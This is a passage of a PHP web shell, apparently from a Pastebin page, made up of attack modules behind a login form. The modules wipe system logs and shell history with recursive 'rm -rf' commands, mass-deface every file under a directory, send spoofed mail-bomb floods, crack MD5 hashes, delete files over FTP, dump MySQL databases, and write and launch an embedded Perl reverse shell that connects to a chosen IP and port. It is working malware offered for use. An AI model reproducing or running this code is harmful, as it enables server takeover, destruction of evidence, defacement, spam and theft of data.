  790. "/var/log/qmail", "/var/log/smtpd", "/var/log/samba","/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  791. "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");
  792.  
  793. echo "<br><br><center><h2>OutPut</h2></center>";
  794.  
  795. $comandos  = array('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST');
  796. echo "<center>";
  797. foreach($paths as $path) {
  798. if(@unlink($path)) {
  799. echo $path.": <b>Deleted</b><br>";
  800. }
  801. }
  802. echo "<br><br>";
  803. foreach($comandos as $comando) {
  804. echo "<b>Loading command : </b>".$comando."<br>";
  805. system($comando);
  806. }
  807. echo "<center>";
  808. }
  809.  
  810.  
  811.  
  812. if(isset($_GET['mass'])) {
  813. echo "<center><h2>MassDefacement</h2></center><br><br><center>
  814. <form action='' method=POST>
  815. <b>Directory to start :</b> <input type=text name=dir value=".getcwd()."><br><br>
  816. <b>Code :</b> <input type=text name=codigo size=70>
  817. <input type=submit name=def value=Start>
  818. </form>
  819. </center>
  820. ";
  821. }
  822.  
  823.  
  824.  
  825. function juntar ($dira,$text) {
  826. $dir= opendir($dira);
  827. while (!is_bool($archivos = readdir($dir))) {
  828. if ($archivos != "..") {
  829. if ($archivos != ".")  {
  830. if ($archivos != basename($_SERVER['PHP_SELF'])) {
  831. if (@filetype($dira."/".$archivos) == dir) {
  832. juntar($dira."/".$archivos,$text);
  833. } else {
  834. echo "<center>";
  835. echo "<b>Deface : </b>".$dira."/".$archivos."<br>";
  836. $solo = fopen($dira."\\".$archivos,"w");
  837. $solo = fwrite($solo,$text);   
  838. fclose($solo);
  839. echo "</center>";
  840. }}}}}}  
  841.  
  842.  
  843. if (isset($_POST['def'])) {
  844. echo "<br><br><center><h2>OutPut</h2></center><br><br>";
  845. juntar($_POST['dir'],$_POST['codigo']);
  846. }
  847.  
  848.  
  849. if (isset($_GET['chau'])) {
  850. if ($_GET['chau'] == "fuckit") {
  851. echo "<br><br><h3>Kapoom !!!</h3><br><br>";
  852. unlink(basename($_SERVER['PHP_SELF'])); //descomentar para usar esta funcion
  853. } else {
  854. echo "<br><br><font color=red><h3><center>Acceso Denegado</center></h3></font><br><br>";
  855. }
  856. }
  857.  
  858. if (isset($_GET['bomber'])) {
  859. echo "<center><h2>Mail Bomber</h2></center><br><br>
  860. <form action='' method=POST>
  861. <center><table border=1>
  862. <td>Target : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=idiot value=target@hotmail.com size=44><tr>
  863. <td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=falso value=lagarto@juancho.com size=44><tr>
  864. <td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=nombrefalso value=Juancho size=44><tr>
  865. <td>ListMails : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=listamails value=None size=44><tr>
  866. <td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=asunto value=Hola size=44><tr>
  867. <td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input type=text name=count value=1 size=44><tr>
  868. <td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name=mensaje rows=7 cols=40>Chau</textarea></td><tr>
  869. </table><br><br>
  870. <input type=submit name=bombers value=Send></center>
  871. </form>
  872. ";
  873. }
  874.  
  875. if (isset($_POST['bombers'])) {
  876.  
  877. $need .="MIME-Version: 1.0\n";
  878. $need .="Content-type: text/html ; charset=iso-8859-1\n";
  879. $need .="MIME-Version: 1.0\n";
  880. $need .="From: ".$_POST['nombrefalso']." <".$_POST['falso'].">\n";
  881. $need .="To: ".$_POST['nombrefalso']."<".$_POST['falso'].">\n";
  882. $need .="Reply-To:".$_POST['falso']."\n";
  883. $need .="X-Priority: 1\n";
  884. $need .="X-MSMail-Priority:Hight\n";
  885. $need .="X-Mailer:Widgets.com Server";
  886.  
  887. echo "<br><br><br><center><h2>Result</h2><br><br>";
  888.  
  889. for ($i = 1; $i <= $_POST['count']; $i++) {
  890.  
  891. if ($_POST['listamails'] != "None") {
  892.  
  893. $open = fopen($_POST['listamails'],"r");
  894.  
  895. while(!feof($open)) {
  896. $word = fgets($open,255);
  897. $word = chop($word);
  898.  
  899. if(@mail($word,$_POST['asunto'],$_POST['mensaje'],$need)) {
  900. echo "[+] Message <b>$i</b> to <b>".$word."</b> Send<br>";
  901. flush();
  902. } else {
  903. echo "[+] Message <b>$i</b> to <b>".$word."</b> Not Send<br>";
  904. }}} else {
  905.  
  906. if(@mail($_POST['idiot'],$_POST['asunto'],$_POST['mensaje'],$need)) {
  907. echo "[+] Message <b>$i</b> to <b>".$_POST['idiot']."</b> Send<br>";
  908. flush();
  909. } else {
  910. echo "[+] Message <b>$i</b> to <b>".$_POST['idiot']."</b> Not Send<br>";
  911. }}}
  912. echo "</center>";
  913. }
  914.  
  915. if (isset($_GET['md5crack'])) {
  916.  
  917. echo "
  918. <center>
  919. <h2>MD5 Cracker</h2><br><br>
  920. <form action='' method=POST>
  921. <table border=1>
  922. <td><b>Hash : </b></td><td><input type=text name=md5 size=50 value=098f6bcd4621d373cade4e832627b4f6></td><tr>
  923. <td><b>Salt : </b></td><td><input type=text name=salto size=50></td><tr>
  924. <td><b>Wordlist : </b></td><td><input type=text name=listmd5 size=50 value='c:/aca.txt'></td>
  925. </table><br><br>
  926. <input type=submit value=Crack>
  927. </form>
  928. </center>
  929. ";
  930. }
  931.  
  932. if (isset($_POST['md5'])) {
  933.  
  934. $open = fopen($_POST['listmd5'],"r");
  935.  
  936. echo "<br><br><fieldset><center>";
  937. echo "<br>[+] Starting the search<br><br>";
  938.  
  939. while(!feof($open)) {
  940. $word = fgets($open,255);
  941. $linea = chop($word);
  942.  
  943. if (!empty($_POST['salto'])) {
  944. $test = md5($linea.$_POST['salto']);
  945. } else {
  946. $test = md5($linea);
  947. }
  948. if ($test == $_POST['md5']) {
  949. echo "<br>[+] Hash Cracked : ".$_POST['md5'].":".$linea."<br><br>";
  950. creditos();
  951. } else {
  952. echo "[+] : ".$_POST['md5']." != ".$linea."<br>";
  953. }
  954. }
  955. echo "<br>[+] Finished<br>";
  956. echo "</center></fieldset>";
  957. }
  958.  
  959. if (isset($_GET['cookiemanager'])) {
  960. echo "<h2>Cookies</h2><br><br>";
  961. echo "[+] <b>Cookies Found</b> : ".count($_COOKIE)."<br><br>";  
  962.  
  963. echo "
  964. <br><BR><form action='' method=POST>
  965. <b>New cookie :</b> <input type=text name=cookienew><BR>
  966. <b>Value :</b> <input type=text name=valor><BR><br>
  967. <input type=submit value=Create><BR><br><br>
  968. </form><br>";
  969.  
  970. echo "<table>";
  971. echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";
  972.  
  973. if (count($_COOKIE) != 0) {
  974. foreach  ($_COOKIE as $nombre=>$valor) {
  975. echo "<td class=main>".$nombre."</td><td class=main>".$valor."</td><tr>";
  976. }
  977. echo "</table>";
  978. }
  979. echo "<br><br>";
  980. }
  981.  
  982. if (isset($_GET['sessionmanager'])) {
  983.  
  984. @session_start();
  985.  
  986. echo "<h2>Session</h2><br><br>";
  987. echo "[+] <b>Sessions Found</b> : ".count($_SESSION)."<br><br>";  
  988.  
  989. echo "
  990. <br><BR><form action='' method=POST>
  991. <b>New session :</b> <input type=text name=sessionew><BR>
  992. <b>Value :</b> <input type=text name=valor><BR><br>
  993. <input type=submit value=Create><BR><br><br>
  994. </form><br>";
  995.  
  996. if (count($_SESSION) != 0) {
  997.  
  998. echo "<table>";
  999. echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";
  1000.  
  1001. foreach  ($_SESSION as $nombre=>$valor) {
  1002. echo "<td class=main>".$nombre."</td><td class=main>".$valor."</td><tr>";
  1003. }
  1004. echo "</table>";
  1005. }
  1006. }
  1007.  
  1008. if (isset($_GET['ftp'])) {
  1009. echo "<center><h2>FTP Manager</h2><br>";
  1010. echo "
  1011. <table border=1>
  1012. <form action='' method=GET>
  1013. <td><b>Server : </b></td><td><input type=text name=serverftp value=127.0.0.1></td><tr>
  1014. <td><b>User : </b></td><td><input type=text name=user value=doddy></td><tr>
  1015. <td><b>Pass : </b></td><td><input type=text name=pass value=123></td><tr>
  1016. </table><br>
  1017. <input type=hidden name=diar value=/>
  1018. <input type=submit value=Connect><br><br>
  1019. </center></form>
  1020. ";
  1021.  
  1022. }
  1023.    
  1024. if (isset($_GET['serverftp'])) {
  1025. if ($enter = @ftp_connect($_GET['serverftp'])) {
  1026. if ($dentro = @ftp_login($enter,$_GET['user'],$_GET['pass'])) {
  1027. echo "<br><b>[+] Connected to server</b><br>";
  1028. } else {
  1029. echo "<br><b>[-] Error in the login</b><br><br>";
  1030. creditos();
  1031. }
  1032. echo "<b>[+] ONline</b><br><br><br>";
  1033.  
  1034. echo "
  1035. <form action='' method=GET>
  1036. Directory : <input type=text name=diar value=";
  1037. if (empty($_GET['diar'])) {
  1038. echo ftp_pwd($enter);
  1039. } else {
  1040. echo $_GET['diar'];
  1041. }
  1042.  
  1043. echo ">
  1044. <input type=hidden name=serverftp value=".$_GET['serverftp'].">
  1045. <input type=hidden name=user value=".$_GET['user'].">
  1046. <input type=hidden name=pass value=".$_GET['pass'].">
  1047. <input type=submit value=Load>
  1048. </form>
  1049. <br><br>
  1050. <form action='' method=GET>
  1051. New directory : <input type=text name=newdirftp><input type=submit value=Load>
  1052. <input type=hidden name=serverftp value=".$_GET['serverftp'].">
  1053. <input type=hidden name=user value=".$_GET['user'].">
  1054. <input type=hidden name=pass value=".$_GET['pass'].">
  1055. <input type=hidden name=diar value=".$_GET['diar'].">
  1056. </form>
  1057. <br><br>
  1058. <br><br>";
  1059.  
  1060. if (isset($_GET['diar'])) {
  1061.  
  1062. $enter = @ftp_connect($_GET['serverftp']);
  1063. $dentro = @ftp_login($enter,$_GET['user'],$_GET['pass']);
  1064.  
  1065. if (empty($_GET['diar'])) {
  1066. if (!$lista = ftp_nlist($enter.".")) {
  1067. echo "<script>alert('Error loading directory');</script>";
  1068. creditos();
  1069. }
  1070. } else {
  1071. if (!$lista = ftp_nlist($enter,$_GET['diar'])) {
  1072. echo "<script>alert('Bad Login');</script>";
  1073. creditos();
  1074. }
  1075. }
  1076. }
  1077.  
  1078. echo "<form action='' method=POST>";
  1079. echo "<input type=hidden name=serverftp value=".$_GET['serverftp'].">
  1080. <input type=hidden name=user value=".$_GET['user'].">
  1081. <input type=hidden name=pass value=".$_GET['pass'].">";
  1082. echo "<table>";
  1083. echo "<td class=main>Name</td><td class=main>Type</td><td class=main>Action</td><tr>";
  1084.  
  1085. foreach ($lista as $ver) {
  1086. if (ftp_size($enter,ftp_pwd($enter).$ver) == -1) {
  1087. echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$ver.">$ver</a></td>";
  1088. echo "<td class=main>Directory</td>";
  1089. echo "<td><input type=checkbox name=vax[] value='".$ver."'></td>";
  1090. echo "<tr>";
  1091. } else {
  1092. echo "<td class=main>".$ver."</td>";
  1093. echo "<td class=main>File</td>";
  1094. echo "<td><input type=checkbox name=vax[] value='".$ver."'></td>";
  1095. echo "<tr>";
  1096. }
  1097. }
  1098.  
  1099.  
  1100. if (isset($_POST['furia'])) {
  1101.  
  1102. $files = $_POST['vax'];
  1103.  
  1104. $enter = ftp_connect($_POST['serverftp']);
  1105. $dentro = ftp_login($enter,$_POST['user'],$_POST['pass']);
  1106.  
  1107. foreach($files as $file) {
  1108.  
  1109. if (ftp_delete($enter,ftp_pwd($enter)."/".$file)) {
  1110. } else {
  1111. ftp_rmdir($enter,ftp_pwd($enter)."/".$file);
  1112. }
  1113. }
  1114. echo "<script>alert('Files Deleted');</script>";
  1115. }
  1116.  
  1117.  
  1118. echo "</table>";
  1119. echo"<br><br>
  1120. Options :
  1121. <select name=op>
  1122. <option>Delete</option>
  1123. </select>&nbsp;&nbsp;<input type=submit name=furia value=Ok></form>";
  1124.  
  1125. } else {
  1126. echo "<b>[-] Error in the server</b><br><br>";
  1127. }
  1128.  
  1129. }
  1130.  
  1131. if (isset($_GET['newdirftp'])) {
  1132.  
  1133. $enter = ftp_connect($_GET['serverftp']);
  1134. $dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);
  1135.  
  1136. if (ftp_mkdir($enter,$_GET['diar'].$_GET['newdirftp'])) {
  1137. echo "<script>alert('Directory created');</script>";
  1138. echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
  1139. } else {
  1140. echo "<script>alert('Error');</script>";
  1141. }
  1142. }
  1143.  
  1144.  
  1145. if (isset($_GET['backshell'])) {
  1146.  
  1147. echo "
  1148. <center>
  1149. <h2>BackShell</h2><br><br>
  1150. <table border=1>
  1151. <form action='' method=GET>
  1152. <td><b>IP : </b></td><td><input type=text name=ipar value=".$_SERVER['REMOTE_ADDR']."></td><tr>
  1153. <td><b>Port : </b></td><td><input type=text name=portar value=666></td><tr>
  1154. <td><b>Type : </b></td><td><select name=tipo>
  1155. <option>Perl</option>
  1156. </select></td><tr></table>
  1157. <br><br>
  1158. <input type=submit value=Conectar>
  1159. </center>
  1160. </form>
  1161. ";
  1162. }
  1163.  
  1164. if (isset($_GET['ipar'])) {
  1165. if ($_GET['tipo']=="Perl") {
  1166.  
  1167. $code = '
  1168. #!usr/bin/perl
  1169. #Reverse Shell 0.2
  1170. #Coded By Doddy H
  1171. #Command : nc -lvvp 666
  1172.  
  1173. use IO::Socket;
  1174.  
  1175. print "\n== -- Reverse Shell 0.2 - Doddy H 2012 -- ==\n\n";
  1176.  
  1177. unless ( @ARGV == 2 ) {
  1178.    print "[Sintax] : $0 <host> <port>\n\n";
  1179.    exit(1);
  1180. }
  1181. else {
  1182.    print "[+] Starting the connection\n";
  1183.    print "[+] Enter in the system\n";
  1184.    print "[+] Enjoy !!!\n\n";
  1185.    conectar( $ARGV[0], $ARGV[1] );
  1186.    tipo();
  1187. }
  1188.  
  1189. sub conectar {
  1190.    socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp") );
  1191.    connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
  1192.    open( STDIN,  ">&REVERSE" );
  1193.    open( STDOUT, ">&REVERSE" );
  1194.    open( STDERR, ">&REVERSE" );
  1195. }
  1196.  
  1197. sub tipo {
  1198.    print "\n[+] Reverse Shell Starting...\n\n";
  1199.    if ( $^O =~ /Win32/ig ) {
  1200.        infowin();
  1201.        system("cmd.exe");
  1202.    }
  1203.    else {
  1204.        infolinux();
  1205.        system("export TERM=xterm;exec sh -i");
  1206.    }
  1207. }
  1208.  
  1209. sub infowin {
  1210.    print "[+] Domain Name : " . Win32::DomainName() . "\n";
  1211.    print "[+] OS Version : " . Win32::GetOSName() . "\n";
  1212.    print "[+] Username : " . Win32::LoginName() . "\n\n\n";
  1213. }
  1214.  
  1215. sub infolinux {
  1216.    print "[+] System information\n\n";
  1217.    system("uname -a");
  1218.    print "\n\n";
  1219. }
  1220.  
  1221. #The End ?
  1222. ';
  1223.  
  1224. echo "<center><h2>OutPut</h2></center>";
  1225.  
  1226. $de = $_SERVER["HTTP_USER_AGENT"];
  1227.  
  1228. if(eregi("Win",$de)){
  1229. if ($test =  fopen("back.pl","w")) {
  1230. echo "<br><br><b><center>[+] Shell Created</b><br>";
  1231. } else {
  1232. echo "<br><br><b>[-] Error creating the shell</b><br>";
  1233. }
  1234. } else {
  1235. if ($test = fopen("/tmp/back.pl","w")) {
  1236. echo "<br><br><b>[+] Shell Created</b><br>";
  1237. } else {
  1238. echo "<br><br><b>[-] Error creating the shell</b><br>";
  1239. }
  1240. }
  1241.  
  1242. if (fwrite($test,$code)) {
  1243. if(eregi("Win",$de)){
  1244. if (chmod("back.pl",0777)) {
  1245. echo "<b>[+] Perms Changed<br></b>";
  1246. } else {
  1247. echo "<b>[-] Not priviligies to changed permissions</b><br>";
  1248. }
  1249. echo "<b>[+] Loading Shell</b><br><br><br>";
  1250. echo "<br><BR>";
  1251. echo "<fieldset>";
  1252. if (!system("perl back.pl ".$_GET['ipar']. " ".$_GET['portar'])) {
  1253. echo "<script>alert('Error Loading Shell');</script>";
  1254. }
  1255. echo "</fieldset>";
  1256. } else {
  1257. if (chmod("/tmp/back.pl",0777)) {
  1258. echo "<b>[+] Perms Changed<br></b>";
  1259. } else {
  1260. echo "<b>[-] Not priviligies to changed permissions</b><br>";
  1261. }
  1262. echo "<b>[+] Loading Shell</b><br><br><br>";
  1263. echo "<br><BR>";
  1264. echo "<fieldset>";
  1265. if (!system("cd /tmp;perl back.pl ".$_GET['ipar']. " ".$_GET['portar'])) {
  1266. echo "<script>alert('Error Loading Shell');</script>";
  1267. }
  1268. echo "</center></fieldset>";
  1269. }
  1270. } else {
  1271. echo "<br><b>[-] Error writing in the shell<br><br></b>";
  1272. }}
  1273. echo "<br><br>";
  1274. }
  1275.  
  1276. if (isset($_GET['sql'])) {
  1277.  
  1278. echo "
  1279. <center><h2>SQL Manager</h2></center><br>
  1280. <center>
  1281. <table border=1>
  1282. <form action='' method=GET>
  1283. <td><b>Server : </b></td><td><input type=text name=host value=localhost></td><tr>
  1284. <td><b>User : </b></td><td><input type=text name=usuario value=root></td><tr>
  1285. <td><b>Pass : </b></td><td><input type=text name=password value=123></td><tr>
  1286. </table>
  1287. <br><input type=submit name=entersql value=Connect>
  1288. </form></center>
  1289. ";
  1290.  
  1291. }
  1292.  
  1293. if (isset($_GET['entersql'])) {
  1294. if ($mysql = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password'])) {
  1295. if ($databases = @mysql_list_dbs($mysql)) {
  1296.    
  1297. echo "<br><br><center><h2>Databases Found</h2><br>";
  1298. echo "<table>";
  1299. while($dat = @mysql_fetch_row($databases)) {
  1300. foreach($dat as $indice => $valor) {
  1301. echo  "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&enterdb=".$valor.">Enter</a></td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&bajardb=".$valor.">Download</a></td><tr>";
  1302. }  
  1303. }
  1304. echo "</table>";
  1305. } else {
  1306. echo "<script>alert('Error loading databases');</script>";
  1307. creditos();
  1308. }
  1309. } else {
  1310. echo "<script>alert('Error');</script>";
  1311. creditos();
  1312. }
  1313. }
  1314.  
  1315. if (isset($_GET['enterdb'])) {
  1316. $mysql = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
  1317. mysql_select_db($_GET['enterdb']);
  1318. echo "<center>";
  1319. $tablas = mysql_query("show tables from ".$_GET['enterdb'])  or die("error");
  1320. echo "<br><h2>Tables Found</h2><br><br><table>";
  1321. while ($tabla = mysql_fetch_row($tablas)) {
  1322. foreach($tabla as $indice => $valor) {
  1323. echo "<td class=main>$valor</td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&entertable=".$valor."&condb=".$_GET['enterdb'].">Enter</a></td></td><td class=main><a href=?datear=$valor&host=".$_GET['host']."&usuario=".$_GET['usuario']."&password=".$_GET['password']."&bajartabla=".$valor."&condb=".$_GET['enterdb'].">Download</a><tr>";
  1324. }  
  1325. }
  1326. echo "</table>";
  1327. }
  1328.  
  1329. if (isset($_GET['entertable'])) {
  1330.  
  1331. $mysql = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
  1332. mysql_select_db($_GET['condb']);
  1333.  
  1334. echo "<br><center><h2>SQL Manager</h2>
  1335. <br><br>
  1336. <form action='' method=POST>
  1337. <b>Consulta SQL : </b><input type=text name=sentencia size=70 value='select * from ".$_GET['datear']."'>
  1338. <br><br><br>   
  1339. <input type=hidden name=host value=".$_GET['host'].">
  1340. <input type=hidden name=usuario value=".$_GET['usuario'].">
  1341. <input type=hidden name=password value=".$_GET['password'].">
  1342. <input type=hidden name=condb value=".$_GET['database'].">
  1343. <input type=hidden name=entertable value=".$_GET['tabla'].">
  1344. <input type=submit name=mostrar value=eNViar>
  1345. </form>
  1346. <br><br><br><br><br>";
  1347.  
  1348. $conexion = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
  1349. mysql_select_db($_GET['condb']);
  1350.  
  1351. if (isset($_POST['mostrar'])) {
  1352. if(!empty($_POST['sentencia'])) {
  1353. $resultado =  mysql_query($_POST['sentencia']);
  1354. } else {
  1355. $resultado = mysql_query("SELECT * FROM ".$_GET['entertable']);
  1356. }
  1357.  
  1358. $numer = 0;
  1359.  
  1360. echo "<table>";
  1361. for ($i=0;$i< mysql_num_fields($resultado);$i++) {
  1362. echo "<th class=main>".mysql_field_name($resultado,$i)."</th>";
  1363. $numer++;
  1364. }
  1365. while($dat = mysql_fetch_row($resultado)) {
  1366. echo "<tr>";
  1367. foreach($dat as $val) {
  1368. echo "<td class=main>".$val."</td>";
  1369. }
  1370. }
  1371. echo "</tr></table>";
  1372. }
  1373. }
  1374.  
  1375. creditos();
  1376.  
  1377.  
  1378. } else {
  1379.  
  1380. echo "
  1381. <form action='' method=POST>
  1382. Username : <input type=text name=user><br>
  1383. Password : <input type=text name=pass><br><br>
  1384. <input type=submit value=Login>
  1385. </form>
  1386. ";
  1387.  
  1388. }
  1389.  
  1390. // The End ?
  1391.  
  1392. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!